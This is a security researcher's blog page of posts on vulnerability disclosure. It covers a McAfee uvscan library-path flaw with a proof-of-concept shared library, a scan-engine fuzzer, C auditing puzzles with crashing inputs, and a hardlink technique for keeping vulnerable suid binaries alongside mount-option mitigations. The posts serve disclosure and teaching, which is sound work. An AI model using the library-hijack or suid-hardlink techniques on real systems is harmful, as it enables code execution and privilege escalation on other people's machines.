Skip navigation.

taviso

linux, programming and security

Posts tagged with "security"

ITDefense 2008 Next Week

I'm giving a talk at the it-defense security conference in Hamburg next week with a colleague from Google. We're going to be talking about some interesting an often-overlooked sources of vulnerabilities. If anyone else is going to be there let me know :-)

http://www.it-defense.de/itdefense2008_com/pages/program.html

Common DNS Misconfiguration can lead to "same-site" Scripting

, ,

For anyone interested in web application security, I posted a writeup of an interesting cross site scripting variant to bugtraq over the weekend. The problem is due to dns administrators commonly installing unqualified localhost records.

This might sound harmless at first, but in fact makes it impossible to access affected sites securely via http (assuming they make use of cookies) from multi-user systems. Under certain circumstances it can be exploited even from single-user systems.

The full post is available here.

$ host localhost.opera.com
localhost.opera.com has address 127.0.0.1

Damn, and the machine I'm posting this from is indeed multi-user :-)

McAfee Update

McAfee have finally released fixes for the DT_RPATH issue in their uvscan product, about 8 months after it was reported to them, you can get the latest version from here. They've also released fixes for the issues I found while fuzzing their scan engine, the advisories to those issues are here and here.

They're basically lying about the impact and their affected products ("Process Termination", wtf?). Their windows product was affected by both issues, and at least one of the issues was obviously exploitable, they are fully aware of this as they told me they had read secunia's report on the issue. But it seems like they have fixed it now at least.

I'm not interested in dealing with McAfee anymore, but if you are unfortunate enough to rely on their software and have some CPU cycles to burn, you might be interested in the fuzzer I wrote. It's very naive, but evidently is still able to find bugs. It was written by reverse engineering the API to their scan engine, and then simply intercepting filesystem operations.

To run it you need the file liblnxfv.so and the files clean.dat, names.dat and scan.dat from the vlnx distribution, which you can place in the wd.

You can compile it like so:
$ gcc avtag.c open.c vxfuzz.c -o vxfuzz -Wl,-rpath,$PWD -L. -llnxfv

Then just run it with an input file you'ld like to fuzz, e.g. a zip/rar/ace file, or an .exe packed with one of the packers they support. I think I've found most of the low hanging fruit, but if you have one of the more obscure archive formats or packers they support, I'm sure you'll find something interesting if you can let it run for a few days.

$ ./vxfuzz input.exe
[*] vxfuzz $Version: $
[*] ----------------------------
[*] PRNG SEED: 0x12cc65c1
[*] AVInitialise();
[*] AVScanObject();
[!] signal 11, attempting to dump progress.
[+] Signal caught, dumping file to vx.out.
$ uvscan --secure ./vx.out 
Segmentation fault

Hah, another crash. The file vx.out contains the file that caused the crash. Let me know if you find anything interesting.

Download vxfuzz-0.01.tar.gz here.

If you get a message about AVScanObject() returning failure, ensure you have the files clean.dat, scan.dat and names.dat in the current working directory, and that the file you're fuzzing can be read.

Month of McAfee Bugs?

,

Well, I did post a rant here about McAfee after being frustrated with their security team for not solving an issue reported in December, but since posting it they have promised to solve the problem within a few weeks. So, I decided to remove this post.

I'll post an update here when they make their patch available.

*phew* Problem solved.

I'm not a big fan of the anti virus industry, apart from selling the ridiculous idea of blacklisting malicious content, trying to improve security by giving attackers hundreds of thousands more lines of code to explore is just naive. You should question any vendor who is trying to sell you something with the promise that adding more code will improve your security, good security is always inversely proportional to the amount of code exposed to attackers. This is why firewalls are good security; they reduce the amount of code attackers can reach. This is why IDS and anti virus are bad security; they increase the amount of code attackers can reach.

(note: I'm sure I'll get some responses from people who make their money peddling this crap, or who have bought into the marketing from these vendors explaining what an idiot I am).

McAfee, however, have really managed to annoy me. Some readers may recall CVE-2006-6474, an insecure DT_RPATH in McAfee VirusScan. We reported this issue to McAfee in December, and they still havnt issued a fix to their suckers^Wcustomers. What would be funny (if it wasn't causing me work), is that a company that makes its money analyzing executables (which presumably requires hiring at least a few engineers who understand how they work) are having great difficulty understanding this simple bug.

The problem is that when McAfee compiled their product, they specified that the DT_RPATH should include the working directory.

$ objdump -p uvscan | grep RPATH
  RPATH       /lib:/usr/lib:/usr/local/lib:.


Note the . at the end, this would have been specified by something like

$ gcc -Wl,-rpath,/lib:/usr/lib:/usr/local/lib:. -o uvscan ...



This tells the dynamic linker that it should search for required libraries in the working directory. Therefore, if a file matching one of the NEEDED tags can be found in the working directory, the dynamic loader will open it and execute the code from within it.

This is very easy to exploit, here is an example.

$ cat uvscan.c
#include 
void __attribute__((constructor)) init()
{
        fprintf(stderr, "owned.n");
        return;
}
$ gcc -fPIC -shared -o liblnxfv.so.4 uvscan.c
$ uvscan liblnxfv.so.4
owned.



Using this attack on automated systems that use uvscan would be trivially easy, or simply convince a user to download the file, or tar archive containing the file.

eg:

$ tar -zxf cool-thing.tar.gz
$ cd cool-thing
$ uvscan *
owned



The solution is very simple, although they didnt realise it, they didnt mean to specify ".", they meant "$ORIGIN", which is a shortcut interpreted by ld.so meaning the location of the binary. To fix the problem, they simply have to make that change to their build scripts, a simple one line fix.

When I explained this to McAfee, their response was:


McAfee disagrees with your statement that this is a "high" severity issue, as the privilege of the executed code is not raised from the privileges of the executing user.



I don't even know where to begin explaining whats wrong with this statement. Firstly, the privilege is most definitely raised, from "remote attacker" without any privileges to "executing user". How can a company that makes their money blacklisting malicious executables not understand that when a remote attacker sends you a malicious file, executing that file without intending to is most definitely a "privilege escalation" attack?

It's incomprehensible how moronic this company is.

Since this issue has been reported, at least two or three times a month I'm contacted by one of their customers asking me to explain the problem or how they can workaround it. I emailed McAfee and asked them if they want any help fixing this issue, as I'm sick of doing their technical support for them, but they never responded.

In protest of this, I'm thinking of starting a Month of McAfee Bugs (MOMcB) project, which perhaps will get their attention and force them to start taking security problems in their products seriously. Modeled on the same format of previous MO?B projects, I would report a new flaw in McAfee VirusScan everyday for a month, including an exploit (if it wouldn't be too time consuming). Finding these flaws is ridiculously easy, I've already found several using fuzzing (I assume most (if not all) will also affect their windows product).

Here you go, you can have this one for free :wink:

http://dev.gentoo.org/~taviso/vstestcase.003

$ uvscan --secure vstestcase.003
Segmentation fault


Feel free to try it on windows and let me know if it works.

Unfortunately their scanner is way too slow to make fuzzing feasible, presumably due to expensive licensing and self-checking. Luckily, the actual scanning takes place in a DSO they ship with their product, so all I had to do was reverse engineer their API and make a quick frontend more suitable for fuzzing.

This wasn't easy, they have a very bizarre API that involves passing stacks of tags around. I eventually understood enough to make it work.

So a minimal uvscan replacement would look something like this...

     /* intialise the scanner */
     state = t_init(0x00070008);
     state = t_push(state, 0x0064000C, sizeof(void *), nop);
 
     /* datfile locations */
     state = t_push(state, 0x0068000C, sizeof(scandat), scandat);
     state = t_push(state, 0x0069000C, sizeof(namesdat), namesdat);
     state = t_push(state, 0x006A000C, sizeof(cleandat), cleandat);
 
     AVInitialise(t_get(state), buf, buf->len, 0, 0);

     /* first dword of buf is now a state cookie */
     o = buf;

     /* construct scan instructions */
     object = t_init(0x000D0008);

     /* callback thats passed results */
     object = t_push(object, 0x0064000C, sizeof(void *), results);
     
     /* scan options */
     object = t_push(object, 0x01F6000C, 0, 0);
     object = t_push(object, 0x0193000C, 0, 0);
     object = t_push(object, 0x0190000C, 0, 0);
     object = t_push(object, 0x0191000C, 0, 0);
     object = t_push(object, 0x0250000C, 0, 0);
     object = t_push(object, 0x01f6000C, 0, 0);
     object = t_push(object, 0x0194000C, 0, 0);
     object = t_push(object, 0x0194000C, 0, 0);
     object = t_push(object, 0x01F6000C, 0, 0);
     object = t_push(object, 0x0005000C, 0, 0);
     
     /* target */
     object = t_push(object, 0x00CB000C, strlen(target) + 1, target);

     AVScanObject(*(o + 1), t_get(object), tmp, strlen(target) + 1, NULL);


Once I had this working, writing a quick fuzzer around it was trivial. I'll write another blog post about how I reverse engineered it, with some example code snippets.

So, what does the community think, I can easily find enough bugs for a MOMcB, should I start one? Once the Project is over, I wouldd release the fuzzer I've written so that anyone interested can find even more bugs. If anyone is interested in getting involved, or would like a copy of the fuzzer to start their own project, let me know.

Auditing puzzle

, ,

Here is an interesting auditing question, try to make the following short C program crash.

#include <string.h>
#include <stdio.h>
#include <locale.h>
#include <ctype.h>

int main(int argc, char **argv)
{
    char buf[128];
    int len;

    /* initialise the buffer */
    memset(buf, '\0', sizeof(buf));

    /* setup locale for toupper() */
    setlocale(LC_ALL, "");

    /* check an argument was specified */
    if (argc >= 2) {
        /* get the first 10 characters */
        len = snprintf(buf, sizeof(buf), "you entered: %.10s", argv[1]);

        /* check for non-printing characters */
        while (len--)
            buf[len] = isprint(buf[len]) ? toupper(buf[len]) : '?';

        /* output string */
        fprintf(stdout, "%s\n", buf);
    }

    return 0;
}

Scroll down for discussion. .
.
.
.
.
.
.
.
.
.
.
.
.
.
.

snprintf() wont overrun the `buf` buffer, so specifying too much data wont cause a crash

$ ./a.out `perl -e 'print "A"x"1024"'`; echo $?
YOU ENTERED: AAAAAAAAAA
0

However, the return code from snprintf() isnt checked, and it can return -1 for a number of reasons, including malloc() failing, or invalid multibyte characters in the string. If any of the users of this application are using a utf8 locale, they could be vulnerable to a security issue.

$ LC_ALL=en_GB.utf8 ./a.out `printf "\x80foobar"`; echo $?
Segmentation fault
139

Its worth remembering that a number of common libraries will call setlocale() for you in their constructors, so even if you didnt intend to, it could be called for you. Using the return code from snprintf() or sprintf() without testing for failure could result in multiple security vulnerabilities, so its always worth checking even if you dont modify the locale.

Partitioning schemes and security

,

I regularly see questions on irc about partitioning schemes from users concerned about security. While the main concern seems to be about resource exhaustion attacks (for example, consuming all available data blocks or inodes) this problem is better solved using filesystem quotas than complex partitioning schemes.

However there are some security problems that can be addressed using correct partitioning. The fundamental rule is that anywhere that users can create files must be on a seperate partition, mounted using the nosuid mount option.

The reason for this is that there is a very simple attack against any system where users can create files on a filesystem where the suid bit is honoured. The attack scenario goes something like this.

  • Malicious user uses find(1) to locate all the suid and sgid binaries on the system.

    $ find /usr/bin -type f -perm -4000 -or -perm -2000

  • Malicious user creates hardlinks to all programs he finds in a hidden directory (in /tmp, /home, or anywhere else he can create files)
    $ mkdir ~/.suids
    $ ln /bin/su ~/.suids

    side note: its a well known practical joke to create a hardlink to /bin/su in /tmp called r00tk1t or something and wait for your admin to find it, inexperienced admins will invariably freak out

  • Now he just waits.

Lets say 4 months later, some vulnerability researcher discovers a local root vulnerability in one of these suid programs, the administrator dutifully updates the application as soon as the advisory is published and now believes he is safe. But this isnt the case.

Of course, a file is only removed when all links to it have been removed, and this malicious user has kept links to it in his home directory. Now he can develop an exploit in his own time, and the administrator will have no idea how he accomplished this, believing he patched this vulnerability n days ago.

So how can you solve this problem? For users who for some reason can only create a single partition, this can be solved using bind mounting (thanks to rob from inversepath who first mentioned this trick to me).

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

And the same to other directories where users have write permissions.

NOTE: I dont know why, but the nosuid flag doesnt apply to bind mounts without a remount. Smells like a bug to me.

Ideally, you would use seperate partitions, which would perhaps avoid a race condition where boot scripts havnt performed the bind and a user has managed to log in (or execute a cron job, etc). But this is a nice workaround if this is impossible. The grsec patch also offers some restrictions on linking that prevents attacks like this.

For portage managed files It would be nice if we removed the suid/sgid bits _before_ removing or upgrading suid/sgid files. this would leave any links created by users useless. But this seems unlikely (everytime i've suggested it there hasnt been much interest).

There are lots of other reasons you may want to restrict /tmp, for example mounting with noexec tends to thwart lots of automated attacks against webapps. But these are all a matter of personal preference.

Quick Security Auditing Puzzle

, , ,

Here's an interesting problem, how can I make this simple program crash? (assume IA32)

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int a, b;

    if (argc != 3)
        return 1;

    a = atoi(argv[1]);
    b = atoi(argv[2]);

    return b ? a / b : 0;
}


scroll down for the solution.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.


The code correctly checks for divide by zero, so attempting this wont work:

$ ./a.out 42 0; echo $?
0
$


But not every invalid operation has been checked, while every programmer knows to avoid dividing by zero, very few are aware that it's also illegal to divide INT_MIN by -1. The reason is obvious, on a twos complement system |INT_MIN| is one greater than INT_MAX, so the result of the operation simply cannot fit in an integer.

This little known fact is almost guaranteed to crash any system that uses integer division on user controlled values as so few developers check for this unusual case.

$ ./a.out -2147483648 -1; echo $?
Floating point exception (core dumped)
136


McAfee Unhappy with Gentoo Security

,

One of our developers noticed that a package in portage was failing a QA test, so they started working on removing it from the tree (due to license restrictions we cannot fix it). Although the developer who found it didnt realise it at the time, it turns out that the bug in question was a serious security problem.

The binary package (McAfee VirusScan for Linux) had set an DT_RPATH containing the working directory, this means that the program will search there for shared libraries, which is obviously a bad idea and means that if you invoke virusscan from the same working directory where the untrusted file you're trying to scan is, virusscan might actually execute it for you (this also applies to automated systems, such as mail scanners).

As the bug was already public (on gentoo-dev mailing list and on our publically accessible bugzilla), as soon as I realised it was a security issue we emailed McAfee to explain the problem and organised sending out an advisory as quickly as possible.

Well it turns out McAfee werent too happy with this and publically flamed us for not being proffessional or "responsible" and putting users in danger. Of course they're not responsible for selling flawed software, it's all our fault for finding the problem and informing them and our users about it. :rolleyes:

They also completely failed to understand the nature of the bug (they say, "as the privilege of the executed code is not raised from the privileges of the executing user"...which makes no sense, and also "an attacker would have had to compromise the machine through another mechanism in order to place the malicious library on the system", which is just plain dumb.) but at least they acknowledged theres a problem.

full-disclosure flamewar

,

Oops, I managed to start a flame-war on the full-discosure mailing list. :worried:

I wrongly attributed to malice an inexperienced attempt at programming, and the poster simply exploded with insults. He was attempting to solve the minor issue of log-noise from weak password scans, but in doing so replaced it with a much more serious remote pre-authentication root vulnerabliity.

Eventually he understood the issue and we took the discussion off-list, he's made an attempt to fix it although it still looks rather fragile.

crackmes: hacker puzzles

, ,

crackmes are small reverse engineering puzzles designed to test your binary analysis skills and showcase interesting protection schemes, similar to those used in commercial software to validate registered users. Solving them can be tough, but must be the most fun you can have with a debugger.

The goal is usually to study how the crackme works and then write a keygen or disable the protection by patching the code (if permitted by the rules), and then publish a solution explaining how you solved it to anyone else interested in learning about it.

Some knowledge of assembly is all that's required to get started, but all sorts of skills are needed to solve the tougher crackmes, from cryptanalysis, algorithm analysis, reconstructing high-level code, executable unpacking, identifying and eliminating anti-debugger and anti-disassembler tricks, and so on.

The best site for finding linux crackmes is crackmes.de, where there's a whole community of users interested in reverse engineering, unfortunately the number of linux crackmes is tiny in comparison to the number of windows crackmes, however, there are still plenty of interesting ones available. The crackmes range from the ridiculously simple to some really tough projects that can take weeks to solve.

An example of the best of linux crackmes is one of my favourite authors, crp-, who has released three very different crackmes on crackmes.de. I've just published my solution to his third crackme, and really enjoyed it.

crp-'s crackmes are here, here and here.

If you're looking for an interesting project and would like to hone your debugging, reverse engineering or hostile binary analysis skills I would highly reccommend trying out a few crackmes.
December 2009
S M T W T F S
November 2009January 2010
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31